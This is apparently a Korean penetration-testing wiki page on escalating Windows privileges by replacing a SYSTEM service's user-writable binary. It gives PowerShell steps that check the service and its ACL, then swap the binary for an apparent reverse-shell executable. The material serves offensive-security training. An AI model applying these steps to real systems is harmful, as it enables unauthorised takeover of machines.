> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/windows/weak-service-binary-permissions.md).

# Weak Service Binary Permissions

[Weak Service Permissions](/privilege-escalation/windows/weak-service-permissions.md) 취약점과 유사하게 서비스 바이너리 위치에 대해 높은 권한이 존재할 경우, 악성 코드를 정상 바이너리 이름으로 변경하여 서비스 실행 파일을 변경할 수 있습니다.

예를 들어 서비스를 등록하는 권한은 관리자 권한 상승(High-Integrity Level)이 요구되어 사용자 레벨에서 서비스에 대한 속성(바이너리 경로)을 변조할 수 있는 가능성은 낮습니다.

하지만 시스템 권한으로 등록된 서비스라 하더라도 사용자 레벨에서 쓰기가 가능한 경로에 있는 바이너리를 불러온다면, 공격자는 해당 경로에 원본 파일을 악성 코드로 덮어서 서비스가 실행될 때 악성 코드가 실행되도록 할 수 있습니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 서비스 바이너리 확인
</strong>sc.exe qc ExecNotepad

<strong># 바이너리에 대한 권한 확인
</strong>Get-Acl C:\Users\Mick3y\notepad.exe | fl

<strong># 바이너리 백업 및 변경
</strong>mv C:\Users\Mick3y\notepad.exe C:\Users\Mick3y\notepad_back.exe
mv C:\Users\Mick3y\reverse.exe C:\Users\Mick3y\notepad.exe
</code></pre>
